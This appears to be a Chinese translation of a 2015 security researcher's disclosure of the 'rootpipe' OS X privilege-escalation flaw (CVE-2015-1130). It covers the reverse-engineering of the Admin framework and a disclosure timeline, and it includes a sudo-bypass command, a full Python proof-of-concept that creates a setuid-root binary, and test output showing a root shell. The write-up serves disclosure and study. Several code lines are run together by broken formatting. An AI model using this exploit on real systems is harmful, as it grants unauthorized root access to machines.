Apple OS X系统中存在可以提升root权限的API后门

from:https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

0x00 摘要

Apple OS X系统中的Admin框架存在可以提升root权限的API后门，并且已经存在多年（至少是从2011年开始）。我是在2014年的10月发现他可以被用来已任何用户权限提升为root权限，其本意可能是要服务“System Preferences”和systemsetup（命令行工具），但是所有的用户进程可以使用相同的功能。

苹果刚刚发布了OS X 10.10.3解决了此问题，但是OS X 10.9.x以及之前的版本存在此问题，因为苹果决定不对这些版本进行修复了。我们建议所有的用户都升级到10.10.3。

0x01 demo

我使用的第一个exp是基于CVE-2013-1775的，一个sudo认证绕过bug，这个bug已经在10.8.5（2013年9月）修复了。

exp代码非常的简单：

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

我跟我同事Philip Åkesson聊这个exp代码实际上使用了systemsetup来修改系统时间。我们一起来看了下他修复的细节，原来除了修复了sudo，Apple也同时做了另外一件事情，他们把systemsetup设置为需要root权限，当以非root权限执行systemsetup的时候，下面的信息就会显示（在10.8.5以及之后版本）：

$ systemsetup
You need administrator access to run this tool... exiting!

这个消息其实是有点误导的，以为我们实际上是在以管理员权限运行，安装OS X时候创建的用户默认就是admin权限。

总之，上面的消息表明执行该命令需要root权限，通过Hopper反汇编发现了下面的代码

OK，所以systemsetup二进制文件只是简单的检查了是否是root权限。

修改了一下函数（用setne替代sete）：取得了成功

$ systemsetup
> systemsetup
> type -help for help.

到目前为止，我们只是回到之前的systemsetup（10.8.5之前），你可以用systemsetup执行命令的一个例子：

$ systemsetup –setremotelogin on

这将在22端口上开启ssh服务，当然你也可以通过launchtl开启，但是launchtl需要root权限。所以这在权限上还是有很明显的区别的。

类名为RemoteServerSettings表明，有某种进程间通信可以解释为什么需要root操作执行。不过还是要提一下，通过System Preferences开启SSH服务也不需要root权限。

我发现这种权限的差异非常有趣，继续反编译systemsetup。

通过一个名字叫做[ServerSettings setRemoteLogin:]的方法实现了systemsetup中的setremotelogin命令。

函数做了一些输入检查，然后调用[InternetServices setSSHServerEnabled:]，这是在Admin框架中实现。反编译Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法，清单如下：

+[InternetServices sharedInternetServices]+[InternetServices sharedInternetServices].sSharedInternetServices-[InternetServices _netFSServerFrameworkBundle]-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce-[InternetServices faxReceiveEnabled]-[InternetServices ftpServerEnabled]-[InternetServices httpdEnabled]-[InternetServices isFTPServerAvailable]-[InternetServices isFaxReceiveAvailable]-[InternetServices isGuestForProtocolEnabled:]-[InternetServices isHttpdAvailable]-[InternetServices isNSCProtocolAvailable:]-[InternetServices isNSCProtocolEnabled:]-[InternetServices isNSServerShuttingDown:]-[InternetServices isOpticalDiscSharingEnabled]-[InternetServices isRemoteAEServerAvailable]-[InternetServices isSSHServerAvailable]-[InternetServices nscServerCancelShutdown:refNum:]-[InternetServices nscServerShutdown:withDelay:]-[InternetServices numberOfClientsForProtocols:]-[InternetServices remoteAEServerEnabled]-[InternetServices saveNatPrefs:]-[InternetServices screensharingEnabled]-[InternetServices sendSIGHUPToEfax]-[InternetServices setFTPServerEnabled:]-[InternetServices setFaxReceiveEnabled:]-[InternetServices setGuestForProtocol:enabled:]-[InternetServices setHttpdEnabled:]-[InternetServices setInetDServiceEnabled:enabled:]-[InternetServices setNSCProtocols:enabled:]-[InternetServices setOpticalDiscSharingEnabled:]-[InternetServices setRemoteAEServerEnabled:]-[InternetServices setSSHServerEnabled:]-[InternetServices setScreensharingEnabled:]-[InternetServices sshServerEnabled]_OBJC_CLASS_$_InternetServices_OBJC_METACLASS_$_InternetServices___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

一些例如setHttpdEnabled和setSSHServerEnabled共享一个辅助方法[ADMInternetServices setInetDServiceEnabled:enabled:]。

继续看Admin框架代码，发现：

代码看来是为guest账户创建一个用户特定的Apache配置文件，注意root用户是这个文件的拥有者：

$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139Apr105:49 std.conf

0x02 发现后门

上面截图的代码中最后一个被调用的Objective-C方法是createFileWithContents:path:attributes:

他获取一个组数组包括字节数，文件路径，文件属性。

自己代码中使用这个函数是这个样子的：

[tool createFileWithContents:data
                        path:[NSStringstringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions:@0777 }];

问题在于我们如何控制“tool”，再看一看开始的代码截图：

id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

当我尝试我自己的代码的时候，爆出error错误：

### Attempt to send message without connection!

下面找出如何出现这个错误的：

这是检查XPC代理在我的进程中是否启动，看一下_onewayMessageDispatcher来定位初始代码：

实际初始化的地方就是authenticateUsingAuthorization方法。

这正是我想要的，给writeconfig XPC服务创建一个XPC客户端，并且这个服务是以root权限运行的。

唯一的问题就是我应该给authenticateUsingAuthorization传递什么参数，从systemsetup文件当中找到如下：

看起来[SFAuthorization authorization]可以来做触发，下面是我的新的exp：

id auth = [objc_lookUpClass("SFAuthorization") authorization];id sharedClient =[objc_lookUpClass("WriteConfigClient") sharedClient];[sharedClient authenticateUsingAuthorizationSync: auth];id tool = [sharedClient remoteProxy];[tool createFileWithContents:datapath:[NSStringstringWithUTF8String:target]attributes:@{ NSFilePosixPermissions:@04777 }];

文件最终创建，setuid已经设置：

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

既然setuid已经设置并且拥有者是root，我们就有有了一个提权漏洞。

上面的代码适用于10.9及以后版本，10.7.x和10.8.x有些类文件名略不相同。

但是上面的代码仍然有一个问题，只可以在admin的权限下运行，之前提到过几乎所有的OS X用户都是admin。

最终找到一个适用所有用户使用的方法，很简单，只要把[SFAuthorization authorization]:的结果替换为发送nil到authenticateUsingAuthorizationSync。

[sharedClient authenticateUsingAuthorizationSync: nil];

0x03 Timeline

Oct 2nd 2014: First discoveryOct 3rd 2014: First contact with Apple Product Security TeamOct 14th 2014: Exploit code shared with AppleOct 24th 2014: Initial full disclosure date setto Jan 12th 2015Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipeNov 14th 2014: Apple requested to postpone disclosureNov 17th 2014: Release of OS X 10.10.1, also vulnerableJan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS XJan 16th 2015: CVE-2015-1130 created by AppleJan 27th 2015: Release of OS X 10.10.2, also vulnerableMarch 2nd 2015: Release of OS X 10.10.3public beta, issue solvedApril 1st 2015: Apple confirmed that release is coming the second week of AprilApril 8th 2015: Release of OS X 10.10.3April 9th 2015: Full disclosure

0x04 EXP

##########################################################  PoC exploit code for rootpipe (CVE-2015-1130)##  Created by Emil Kvarnhammar, TrueSec##  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2#########################################################import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
defload_lib(append_path):return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
defuse_old_api():return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print"usage: exploit.py source_binary dest_binary_as_root"sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
ifnot os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print"will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print"Done!"del pool

0x05 测试

[test@test:~]$ cp /bin/bash bashceshi [test@test:~]$ python CVE-2013-1775.py bashceshi bashroot will write file /Users/test/Downloads/bashroot Done! [test@test:~]$ ./bashroot -p bashroot-3.2# id uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access_bpf),402(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)